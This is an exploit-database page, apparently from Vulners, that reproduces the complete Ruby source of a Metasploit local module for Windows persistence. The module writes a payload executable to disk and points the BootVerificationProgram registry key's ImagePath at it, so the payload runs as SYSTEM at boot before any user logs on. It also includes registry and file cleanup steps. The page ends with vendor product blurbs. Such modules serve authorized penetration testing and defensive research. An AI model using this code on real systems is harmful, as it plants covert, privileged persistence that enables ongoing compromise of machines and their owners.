Lucene search
+L

Boot Verification Program Persistence

🗓️ 23 Jan 2020 00:00:00Reported by Emanuele CervelliType 
metasploit
 metasploit
🔗 www.rapid7.com👁 8 Views

Metasploit module uses BootVerificationProgram registry key for SYSTEM persistence before user logon.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Services
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Local::Persistence

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Boot Verification Program Persistence',
        'Description' => %q{
          This module establishes persistence by configuring the BootVerificationProgram
          registry key. It uploads a payload executable and modifies the 'ImagePath'
          value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram.

          The payload is executed by the Service Control Manager early in the boot cycle,
          running with SYSTEM privileges before user logon.

          Administrator or SYSTEM privileges are required to execute this persistence technique.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Emanuele Cervelli',
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ARCH_X64, ARCH_X86],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://www.cyberark.com/resources/ransomware-protection/persistence-techniques-that-persist']
        ],
        'DefaultTarget' => 0,
        # Date the technique was published on MITRE ATT&CK (T1547)
        'DisclosureDate' => '2020-01-23',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.'])
    ])
  end

  def check
    return CheckCode::Safe('Admin or SYSTEM privileges are required') unless is_system? || is_admin?

    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesn't exist") unless directory?(writable_dir)

    CheckCode::Appears('Target appears vulnerable to Boot Verification Program persistence')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    payload_name += '.exe' unless payload_name.downcase.end_with?('.exe')
    payload_exe = generate_payload_exe
    payload_pathname = "#{writable_dir}\\#{payload_name}"

    vprint_status("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
    print_good("Payload EXE written to #{payload_pathname}")

    boot_reg_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\BootVerificationProgram'
    had_preexisting_boot_key = registry_key_exist?(boot_reg_key)
    old_image_info = had_preexisting_boot_key ? registry_getvalinfo(boot_reg_key, 'ImagePath') : nil
    old_image_path = old_image_info && old_image_info['Data']
    old_image_type = (old_image_info && old_image_info['Type'] == REG_SZ) ? 'REG_SZ' : 'REG_EXPAND_SZ'

    if had_preexisting_boot_key
      vprint_good('The BootVerificationProgram key already exists. Skipping creation step.')
    else
      vprint_status('The BootVerificationProgram key was not found. Creating a new structure...')
      unless registry_createkey(boot_reg_key)
        rm_f(payload_pathname)
        fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}")
      end
    end

    unless registry_setvaldata(boot_reg_key, 'ImagePath', payload_pathname, 'REG_EXPAND_SZ')
      if old_image_path
        registry_setvaldata(boot_reg_key, 'ImagePath', old_image_path, old_image_type)
      elsif had_preexisting_boot_key
        registry_deleteval(boot_reg_key, 'ImagePath')
      else
        registry_deletekey(boot_reg_key)
      end
      rm_f(payload_pathname)
      fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{boot_reg_key}\\ImagePath")
    end

    print_good('Persistence installed')

    @clean_up_rc << "execute -f cmd.exe -a '/c del \"#{payload_pathname}\"' -i -H\n"
    if had_preexisting_boot_key && old_image_path
      @clean_up_rc << "reg setval -k '#{boot_reg_key}' -v 'ImagePath' -d '#{old_image_path}' -t '#{old_image_type}'\n"
    elsif had_preexisting_boot_key
      @clean_up_rc << "reg deleteval -k '#{boot_reg_key}' -v 'ImagePath'\n"
    else
      @clean_up_rc << "reg deletekey -k '#{boot_reg_key}'\n"
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation